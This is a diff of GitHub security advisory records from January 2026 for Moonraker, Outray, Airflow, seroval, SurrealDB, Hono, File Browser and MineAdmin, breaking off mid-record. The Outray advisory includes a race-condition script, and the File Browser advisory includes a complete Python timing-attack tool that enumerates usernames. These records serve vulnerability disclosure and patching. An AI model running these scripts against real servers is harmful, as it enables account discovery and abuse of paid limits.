b/advisories/github-reviewed/2026/01/GHSA-3jqf-v4mv-747g/GHSA-3jqf-v4mv-747g.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3jqf-v4mv-747g", + "modified": "2026-01-23T15:49:23Z", + "published": "2026-01-22T18:06:54Z", + "aliases": [ + "CVE-2026-24130" + ], + "summary": "Moonraker affected by LDAP search filter injection", + "details": "### Impact\n\nInstances of Moonraker configured with the `ldap` component enabled are vulnerable to LDAP search filter injection techniques via the login endpoint. The 401 error response message can be used to determine whether or not a search was successful, allowing for brute force methods to discover LDAP entries on the server such as user IDs and user attributes.\n\n### Patches\n\nUsers should upgrade to Moonraker 0.10.0 which patches this vulnerability.\n\n### Workarounds\n\nAdmins can set the `max_login_attempts` option in the `[authorization]` section to a reasonable value. Any IP attempting to exploit this vulnerability will be locked out after it has reached the specified number of consecutive failed login attempts. This condition is cleared after a Moonraker restart. Note that if an attacker knows a valid user password they can bypass this protection by successfully logging in.\n\nThe most secure workaround for users unable to upgrade is to remove the `ldap` section from `moonraker.conf` and rely on the built in user authentication.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "moonraker" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.10.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/Arksine/moonraker/security/advisories/GHSA-3jqf-v4mv-747g" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24130" + }, + { + "type": "WEB", + "url": "https://github.com/Arksine/moonraker/commit/74c5d8e44c4a4abbfbb06fb991e7ebb9ac947f42" + }, + { + "type": "PACKAGE", + "url": "https://github.com/Arksine/moonraker" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-90" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-22T18:06:54Z", + "nvd_published_at": "2026-01-22T23:15:58Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3pqc-836w-jgr7/GHSA-3pqc-836w-jgr7.json b/advisories/github-reviewed/2026/01/GHSA-3pqc-836w-jgr7/GHSA-3pqc-836w-jgr7.json new file mode 100644 index 0000000000000..6e6b87df9385d --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3pqc-836w-jgr7/GHSA-3pqc-836w-jgr7.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3pqc-836w-jgr7", + "modified": "2026-01-21T16:17:07Z", + "published": "2026-01-13T21:53:44Z", + "aliases": [ + "CVE-2026-22820" + ], + "summary": "Outray cli is vulnerable to race conditions in tunnels creation", + "details": "### Summary\n\nA TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.\n\n### Details\n\nAffected conponent: `apps/web/src/routes/api/tunnel/register.ts`\n- `/tunnel/register` endpoint code-:\n\n```ts\n// Check if tunnel already exists in database\n const [existingTunnel] = await db\n .select()\n .from(tunnels)\n .where(eq(tunnels.url, tunnelUrl));\n\n const isReconnection = !!existingTunnel;\n\n console.log(\n `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,\n );\n console.log(\n `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,\n );\n console.log(\n `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,\n );\n\n // Check limits only for NEW tunnels (not reconnections)\n if (!isReconnection) {\n // Count active tunnels from Redis SET\n const activeCount = await redis.scard(setKey);\n console.log(\n `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n );\n\n // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)\n // So we check if activeCount >= limit (not >)\n if (activeCount >= tunnelLimit) {\n console.log(\n `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n );\n return json(\n {\n error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n },\n { status: 403 },\n );\n }\n console.log(\n `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,\n );\n } else {\n console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);\n }\n\n if (existingTunnel) {\n // Tunnel with this URL already exists, update lastSeenAt\n await db\n .update(tunnels)\n .set({ lastSeenAt: new Date() })\n .where(eq(tunnels.id, existingTunnel.id));\n\n return json({\n success: true,\n tunnelId: existingTunnel.id,\n });\n }\n\n // Create new tunnel record\n const tunnelRecord = {\n id: randomUUID(),\n url: tunnelUrl,\n userId,\n organizationId,\n name: name || null,\n protocol,\n remotePort: remotePort || null,\n lastSeenAt: new Date(),\n createdAt: new Date(),\n updatedAt: new Date(),\n };\n\n await db.insert(tunnels).values(tunnelRecord);\n\n return json({ success: true, tunnelId: tunnelRecord.id });\n } catch (error) {\n console.error(\"Tunnel registration error:\", error);\n return json({ error: \"Internal server error\" }, { status: 500 });\n }\n```\n- It checks if the tunnel exists in the database.\n```ts\n// Check if tunnel already exists in database\n const [existingTunnel] = await db\n .select()\n .from(tunnels)\n .where(eq(tunnels.url, tunnelUrl));\n\n const isReconnection = !!existingTunnel;\n```\n\n- Limit is checked here-:\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n\nif (!isReconnection) {\n\n// Count active tunnels from Redis SET\n\nconst activeCount = await redis.scard(setKey);\n\nconsole.log(\n\n`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n\n);\n```\n- Redis is checked for existing tunnel to check for reconnection.\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n if (!isReconnection) {\n // Count active tunnels from Redis SET\n const activeCount = await redis.scard(setKey);\n console.log(\n `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n );\n```\n\n- If the tunnel limit is exceeded, it pops up the tunnel limit error.\n\n```ts\nif (activeCount >= tunnelLimit) {\n console.log(\n `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n );\n return json(\n {\n error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n },\n { status: 403 },\n );\n```\n- If the limit is not exceeded, it triggers a the `Insert` Statement without locking transactions from other request\n\n```ts\nawait db.insert(tunnels).values(tunnelRecord);\n```\n- If parallel requests are made by the `wshandler` in `/outray/outray-main/apps/tunnel/src/core/WSHandler.ts` from the command line app. A request can work on a non updated row because the `insert` row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.\n\n### PoC\n\nUsing this simple bash script, the `outray` binary will be run at the same time in one `tmux` window, demonstrating the race condition and opening 4 tunnels.\n\n```bash\n#!/usr/bin/env bash\n\n# POC for Outray Tunnel Race condition\nSESSION=\"outray-race\"\nPORTS=(8090 4000 5000 6000)\n\n# Create new detached tmux session\ntmux new-session -d -s \"$SESSION\" \"echo '[*] outray race session started'; bash\"\n\n# Split the panes and run outray\nfor i in \"${!PORTS[@]}\"; do\n port=\"${PORTS[$i]}\"\n\n if [ \"$i\" -ne 0 ]; then\n tmux split-window -t \"$SESSION\" -h\n tmux select-layout -t \"$SESSION\" tiled\n fi\n\n tmux send-keys -t \"$SESSION\" \"echo '[*] Running outray on port $port'; outray $port\" C-m\ndone\n\ntmux set-window-option -t \"$SESSION\" synchronize-panes off\n\necho \"[+] tmux session '$SESSION' created\"\necho \"[+] Attach with: tmux attach -t $SESSION\"\n\n```\n\nRunning this\n\n```\nseeker@instance-20260106-20011$ bash kay.sh\n[+] tmux session 'outray-race' created\n[+] Attach with: tmux attach -t outray-race\n\nseeker@instance-20260106-20011$ tmux attach -t outray-race\n```\n\n\"image\"\n\n\n\"image\"\n\n### Impact\n\nBy exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "outray" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.1.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/akinloluwami/outray/security/advisories/GHSA-3pqc-836w-jgr7" + }, + { + "type": "WEB", + "url": "https://github.com/outray-tunnel/outray/security/advisories/GHSA-3pqc-836w-jgr7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22820" + }, + { + "type": "WEB", + "url": "https://github.com/outray-tunnel/outray/commit/08c61495761349e7fd2965229c3faa8d7b1c1581" + }, + { + "type": "PACKAGE", + "url": "https://github.com/akinloluwami/outray" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-367" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T21:53:44Z", + "nvd_published_at": "2026-01-14T15:16:05Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3qmm-r55x-hpxx/GHSA-3qmm-r55x-hpxx.json b/advisories/github-reviewed/2026/01/GHSA-3qmm-r55x-hpxx/GHSA-3qmm-r55x-hpxx.json new file mode 100644 index 0000000000000..9ff205085e3ac --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3qmm-r55x-hpxx/GHSA-3qmm-r55x-hpxx.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3qmm-r55x-hpxx", + "modified": "2026-01-16T20:59:54Z", + "published": "2026-01-16T12:30:25Z", + "aliases": [ + "CVE-2025-68438" + ], + "summary": "Apache Airflow secrets in rendered templates could contain parts of sensitive values when truncated", + "details": "In Apache Airflow versions before 3.1.6, when rendered template fields in a Dag exceed [core] max_templated_field_length, sensitive values could be exposed in cleartext in the Rendered Templates UI. This occurred because serialization of those fields used a secrets masker instance that did not include user-registered mask_secret() patterns, so secrets were not reliably masked before truncation and display.\n\nUsers are recommended to upgrade to 3.1.6 or later, which fixes this issue", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "apache-airflow" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.1.0" + }, + { + "fixed": "3.1.6" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68438" + }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/airflow" + }, + { + "type": "WEB", + "url": "https://lists.apache.org/thread/55n7b4nlsz3vo5n4h5lrj9bfsk8ctyff" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/01/15/5" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-200" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-16T20:59:54Z", + "nvd_published_at": "2026-01-16T11:16:03Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3rxj-6cgf-8cfw/GHSA-3rxj-6cgf-8cfw.json b/advisories/github-reviewed/2026/01/GHSA-3rxj-6cgf-8cfw/GHSA-3rxj-6cgf-8cfw.json new file mode 100644 index 0000000000000..07966e2bc0d1a --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3rxj-6cgf-8cfw/GHSA-3rxj-6cgf-8cfw.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3rxj-6cgf-8cfw", + "modified": "2026-01-22T15:39:49Z", + "published": "2026-01-21T15:41:22Z", + "aliases": [ + "CVE-2026-23737" + ], + "summary": "seroval Affected by Remote Code Execution via JSON Deserialization", + "details": "Improper input handling in the JSON deserialization component can lead to arbitrary JavaScript code execution.\n\nThe vulnerability can be exploited via overriding constant value and error deserialization, which allows indirect access to unsafe JS evaluation. This requires at least the ability to perform 4 separate requests on the same function and partial knowledge of how the serialized data is used during later runtime processing. \n\nThis vulnerability affects the `fromJSON` and `fromCrossJSON` functions in a client-to-server transmission scenario.\n\nNo known workarounds or mitigations are known, so please upgrade to the patched version.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "seroval" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.4.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-3rxj-6cgf-8cfw" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23737" + }, + { + "type": "WEB", + "url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060" + }, + { + "type": "PACKAGE", + "url": "https://github.com/lxsmnsyc/seroval" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T15:41:22Z", + "nvd_published_at": "2026-01-21T23:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3v2x-9xcv-2v2v/GHSA-3v2x-9xcv-2v2v.json b/advisories/github-reviewed/2026/01/GHSA-3v2x-9xcv-2v2v/GHSA-3v2x-9xcv-2v2v.json new file mode 100644 index 0000000000000..5004bd1a4f110 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3v2x-9xcv-2v2v/GHSA-3v2x-9xcv-2v2v.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3v2x-9xcv-2v2v", + "modified": "2026-01-29T03:45:36Z", + "published": "2026-01-22T18:06:15Z", + "aliases": [], + "summary": "SurrealDB Affected by Confused Deputy Privilege Escalation through Future Fields and Functions", + "details": "Unprivileged users (for example, those with the database editor role) can create or modify fields in records that contain functions or `futures`. `Futures` are values which are only computed when the value is queried. The query executes in the context of the querying user, rather than the user who originally defined the future. Likewise, fields containing functions or custom-defined logic (`closures`) are executed under the privileges of the invoking user, not the creator.\n\nThis results in a confused deputy vulnerability: an attacker with limited privileges can define a malicious function or future field that performs privileged actions. When a higher-privileged user (such as a root owner or namespace administrator) executes the function or queries or modifies that record, the function executes with their elevated permissions. \n\n### Impact\nAn attacker who can create or update function/future fields can plant logic that executes with a privileged user’s context. If a privileged user performs a write that touches the malicious field, the attacker can achieve full privilege escalation (e.g., create a root owner and take over the server). \n\nIf a privileged user performs a read action on the malicious field, this attack vector could still be potentially be used to perform limited denial of service or, in the specific case where the network capability was explicitly enabled and unrestricted, exfiltrate database information over the network.\n\n### Patches\n\nVersions prior to 2.5.0 and 3.0.0-beta.3 are vulnerable.\n\nFor SurrealDB 3.0, `futures` are no longer supported, replaced by `computed` fields, only available within schemaful tables. \n\nFurther to this patches for 2.5.0 and 3.0.0-beta.3: \n- Implements an `auth_limit` on defined apis, functions, fields and events, that limits execution to the permissions of the creating user or the invoking user, whichever is lower.\n- Prevents `closures` from being stored, that eliminates a potential attack surface. For 2.5.0 this can still be allowed by using the `insecure_storable_closures` capability\n- Ensures the proper auth level is used to compute expressions in signin & signup\n\n**_For existing apis, events, fields and functions defined prior to upgrading to 2.5.0 or 3.0.0-beta.3 `auth_limit` will not apply, to avoid breaking changes. These will need to subsequently be redefined so that `auth_limit` can take effect._**\n\n### Workarounds\nUsers unable to patch are advised to evaluate their use of the database to identify where low privileged users are able to define logic subsequently executed by privileged users, such as apis, functions, futures fields and events, and recommended to minimise these instances.\n\n### References\n[Futures](https://surrealdb.com/docs/surrealql/datamodel/futures)\n[Closures](https://surrealdb.com/docs/surrealql/datamodel/closures)\n[SurrealDB Environment Variables](https://surrealdb.com/docs/surrealdb/cli/env)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "surrealdb" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.5.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "crates.io", + "name": "surrealdb" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.0-alpha.1" + }, + { + "fixed": "3.0.0-beta.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-3v2x-9xcv-2v2v" + }, + { + "type": "WEB", + "url": "https://github.com/surrealdb/surrealdb/commit/f515c91363ee735aa1bc08580d9e7fa0de6e736f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/surrealdb/surrealdb" + }, + { + "type": "WEB", + "url": "https://github.com/surrealdb/surrealdb/releases/tag/v2.5.0" + }, + { + "type": "WEB", + "url": "https://github.com/surrealdb/surrealdb/releases/tag/v3.0.0-beta.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-441" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-22T18:06:15Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-3vhc-576x-3qv4/GHSA-3vhc-576x-3qv4.json b/advisories/github-reviewed/2026/01/GHSA-3vhc-576x-3qv4/GHSA-3vhc-576x-3qv4.json new file mode 100644 index 0000000000000..8700646d66b22 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-3vhc-576x-3qv4/GHSA-3vhc-576x-3qv4.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3vhc-576x-3qv4", + "modified": "2026-01-13T21:52:03Z", + "published": "2026-01-13T21:52:03Z", + "aliases": [ + "CVE-2026-22818" + ], + "summary": "Hono JWK Auth Middleware has JWT algorithm confusion when JWK lacks \"alg\" (untrusted header.alg fallback)", + "details": "## Summary\n\nA flaw in Hono’s JWK/JWKS JWT verification middleware allowed the algorithm specified in the JWT header to influence signature verification when the selected JWK did not explicitly define an algorithm. This could enable JWT algorithm confusion and, in certain configurations, allow forged tokens to be accepted.\n\n## Details\n\nWhen verifying JWTs using JWKs or a JWKS endpoint, the middleware selected the verification algorithm based on the JWK’s `alg` field if present. If the JWK did not specify an algorithm, the middleware fell back to using the `alg` value provided in the unverified JWT header.\n\nBecause the `alg` field in a JWK is optional and commonly omitted in real-world JWKS configurations, this behavior could allow an attacker to influence which algorithm is used for verification. In some environments, this may result in authentication or authorization bypass through crafted JWTs.\n\nThe practical impact depends on application configuration, including which algorithms are accepted and how JWTs are used to make authorization decisions.\n\n## Impact\n\nIn affected configurations, an attacker may be able to forge JWTs with attacker-controlled claims, potentially leading to authentication or authorization bypass.\n\nApplications that do not use the JWK/JWKS middleware, do not rely on JWT-based authentication, or explicitly restrict allowed algorithms are not affected.\n\n## Resolution\n\nUpdate to the latest patched release.\n\n**Breaking change:**\n\nThe JWK/JWKS JWT verification middleware has been updated to require an explicit allowlist of asymmetric algorithms when verifying tokens. The middleware no longer derives the verification algorithm from untrusted JWT header values.\n\nInstead, callers must explicitly specify which asymmetric algorithms are permitted, and only tokens signed with those algorithms will be accepted. This prevents JWT algorithm confusion by ensuring that algorithm selection is fully controlled by application\nconfiguration.\n\nAs part of this fix, the `alg` option is now required when using the JWK/JWKS middleware, and symmetric (HS*) algorithms are no longer accepted in this context.\n\n### Before (vulnerable configuration)\n\n```ts\nimport { jwk } from 'hono/jwk'\n\napp.use(\n '/auth/*',\n jwk({\n jwks_uri: 'https://example.com/.well-known/jwks.json',\n // alg was optional\n })\n)\n```\n\n### After (patched configuration)\n\n```ts\nimport { jwk } from 'hono/jwk'\n\napp.use(\n '/auth/*',\n jwk({\n jwks_uri: 'https://example.com/.well-known/jwks.json',\n alg: ['RS256'], // required: explicit asymmetric algorithm allowlist\n })\n)\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "hono" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.11.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/honojs/hono/security/advisories/GHSA-3vhc-576x-3qv4" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22818" + }, + { + "type": "WEB", + "url": "https://github.com/honojs/hono/commit/190f6e28e2ca85ce3d1f2f54db1310f5f3eab134" + }, + { + "type": "PACKAGE", + "url": "https://github.com/honojs/hono" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T21:52:03Z", + "nvd_published_at": "2026-01-13T20:16:11Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-43mm-m3h2-3prc/GHSA-43mm-m3h2-3prc.json b/advisories/github-reviewed/2026/01/GHSA-43mm-m3h2-3prc/GHSA-43mm-m3h2-3prc.json new file mode 100644 index 0000000000000..5e1304aaf5c0a --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-43mm-m3h2-3prc/GHSA-43mm-m3h2-3prc.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-43mm-m3h2-3prc", + "modified": "2026-01-21T01:02:17Z", + "published": "2026-01-21T01:02:17Z", + "aliases": [ + "CVE-2026-23849" + ], + "summary": "File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login", + "details": "### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If 'err != nil' (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n start = time.perf_counter()\n try:\n requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n except Exception as e:\n print(f\"[!] Connection error: {e}\")\n return 0\n return time.perf_counter() - start\n\ndef calibrate(url):\n print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n times = []\n \n print(\" Progress: \", end=\"\", flush=True)\n for _ in range(CALIBRATION_SAMPLES):\n random_user = generate_random_user()\n elapsed = measure_response_time(url, random_user)\n times.append(elapsed)\n print(\".\", end=\"\", flush=True)\n print(\" OK\")\n \n mean = statistics.mean(times)\n try:\n stdev = statistics.stdev(times)\n except:\n stdev = 0.0\n \n threshold = mean + (5 * stdev) + 0.005\n \n print(f\" - Mean time (invalid users): {mean:.4f}s\")\n print(f\" - Standard deviation: {stdev:.6f}s\")\n print(f\" - Threshold set: {threshold:.4f}s\")\n \n return threshold\n\ndef load_wordlist(wordlist_path):\n try:\n with open(wordlist_path, 'r', encoding='utf-8') as f:\n users = [line.strip() for line in f if line.strip()]\n return users\n except FileNotFoundError:\n print(f\"[!] Wordlist not found: {wordlist_path}\")\n exit(1)\n except Exception as e:\n print(f\"[!] Error reading wordlist: {e}\")\n exit(1)\n\ndef timing_attack(url, threshold, users):\n print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n print(\"-\" * 50)\n print(f\"{'Username':<15} | {'Time':<10} | {'Status'}\")\n print(\"-\" * 50)\n \n found = []\n \n for user in users:\n elapsed = measure_response_time(url, user)\n \n if elapsed > threshold:\n status = \">> VALID <<\"\n found.append(user)\n else:\n status = \"invalid\"\n \n print(f\"{user:<15} | {elapsed:.4f}s | {status}\")\n \n return found\n\ndef main():\n parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')\n parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')\n parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')\n args = parser.parse_args()\n \n target_url = args.url.rstrip('/') + ENDPOINT\n \n print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n print(f\"[*] Target: {target_url}\")\n print(f\"[*] Wordlist: {args.wordlist}\")\n \n try:\n threshold = calibrate(target_url)\n users = load_wordlist(args.wordlist)\n print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n print(\"[*] Starting attack...\")\n \n valid_users = timing_attack(target_url, threshold, users)\n \n print(\"\\n\" + \"=\"*50)\n print(f\"SUMMARY: {len(valid_users)} valid users found\")\n if valid_users:\n for u in valid_users:\n print(f\" -> {u}\")\n print(\"=\"*50)\n \n except KeyboardInterrupt:\n print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n\"image\"\n\nI am going to use the exploit to list valid users.\n\"image\"\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/filebrowser/filebrowser" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.11.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/filebrowser/filebrowser/v2" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.55.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23849" + }, + { + "type": "WEB", + "url": "https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889" + }, + { + "type": "PACKAGE", + "url": "https://github.com/filebrowser/filebrowser" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-203", + "CWE-208" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T01:02:17Z", + "nvd_published_at": "2026-01-19T21:15:51Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-43rr-x62x-q96w/GHSA-43rr-x62x-q96w.json b/advisories/github-reviewed/2026/01/GHSA-43rr-x62x-q96w/GHSA-43rr-x62x-q96w.json new file mode 100644 index 0000000000000..5957cebcc0f1b --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-43rr-x62x-q96w/GHSA-43rr-x62x-q96w.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-43rr-x62x-q96w", + "modified": "2026-02-05T21:45:16Z", + "published": "2026-01-20T03:30:28Z", + "aliases": [ + "CVE-2026-1195" + ], + "summary": "MineAdmin improperly refreshes tokens", + "details": "A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": 